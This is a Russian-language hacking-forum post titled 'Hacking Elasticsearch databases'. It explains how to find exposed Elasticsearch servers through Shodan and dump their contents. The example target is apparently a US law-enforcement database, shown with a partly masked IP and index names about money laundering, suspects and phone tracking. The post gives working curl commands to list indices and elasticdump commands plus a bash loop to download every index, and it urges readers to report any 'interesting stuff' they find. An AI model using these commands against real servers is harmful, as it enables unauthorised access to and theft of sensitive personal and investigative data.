• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Взлом Elasticsearch баз данных

YukiBoji

Участник
Сообщения
18
Реакции
29
0 руб.
Telegram
Jabber
Привет. Совсем немного времени прошло с того момента, как я запилил первую тему, однако время уже пришло. Я рад представить пару трюков, которые помогут вам легко ломать публичные базы данных Elasticsearch.

Недавно я решил заглянуть в Shodan и поискать там открытые ES базы в US. На начальных этапах нашлось около 3000 публичных открытых серверов. Вот как я просматриваю их. Все команды выполняются с использованием GET/PUT через Curl. Порт Elasticsearch обычно 9200.

Для примера я взял базу некого правоохранительного агенства (или полицейского участка, я хз)

IP:
Код:
**.70.245.182

Получение индекса:
Код:
curl -X GET "http://**.70.245.182:9200/_cat/indices?h=i"

Пример ответа:

Код:
money_laundering$identification$59a861fb211fe$59a86769e375e
crime$vehicle$59c403c05abd7$59c40458a7ff6
crime$person$5ae8a171460cb570482420$5ae8a1c772c75169861113$2018-05-01_17_49_57_500000
money_laundering$dcn$59a861fb211fe$59a864d5af2a6
tracker$phone_from$59a8c203df4a8$59a8c428b2778
tracker_new$phonefrom-phoneto$59ce805c0d169$59ce829bd53d3
cdm_new$device_to_event$59bc094bee975$59bc0af6319c1
tracker$transaction-org_for$59a8c203df4a8$59a8c78446ff0
tracker_new$address_suspect$59ce805c0d169$59ce80f3293a8
money_laundering$subject-address$59a861fb211fe$59a86d55e136e
money_laundering$home_phone$59a861fb211fe$59a869f55f616
money_laundering$dcn-subject$59a861fb211fe$59a86ce377d7e


Каждая из этих строк совпадает с таблицей MySQL.
Чтобы сдампить данные, мы используем Elasticdump (плагин для NodeJS). Этот способ не распространен из-за «$» в имени индекса.
Мы должны избегать любых специальных символов при дампе индекса.

Код:
elasticdump --input=http://**.70.245.182:9200/tracker\$phone_from\$59a8c203df4a8$59a8c428b2778 --output=Trackers-Phone.json --limit=10000

Важно: Увеличение лимита более 10000 в секунду вернет вам ошибку.

Теперь у нас есть JSON-файл с индексом баз данных!

Просмотр схемы индексов:

Для просмотра схемы индексов добавьте _mapping к нашей команде.

Код:
curl -X GET "0.0.0.0:9200/indexname/_mapping"

Дампинг всех индексов сразу:

Что если мы хотим сдампить все и сразу? А тут нам нужно немного BASH-магии :3

Код:
indices=$(curl -X GET "http://**.70.245.182:9200/_cat/indices?h=i");for INDEX in http://**.70.245.182:9200$indices;do elasticdump --input=**.70.245.182/$INDEX --output=$INDEX --type=data; done

Важно: Дампинг всех индексов не будет работать, если имя индекса содержит специальные символы, которые необходимо экранировать. В 99,9% случаев это не так.

Наслаждайтесь. Если найдете интересный стафф, то пинганите меня :3
 
Последнее редактирование:
Сверху Снизу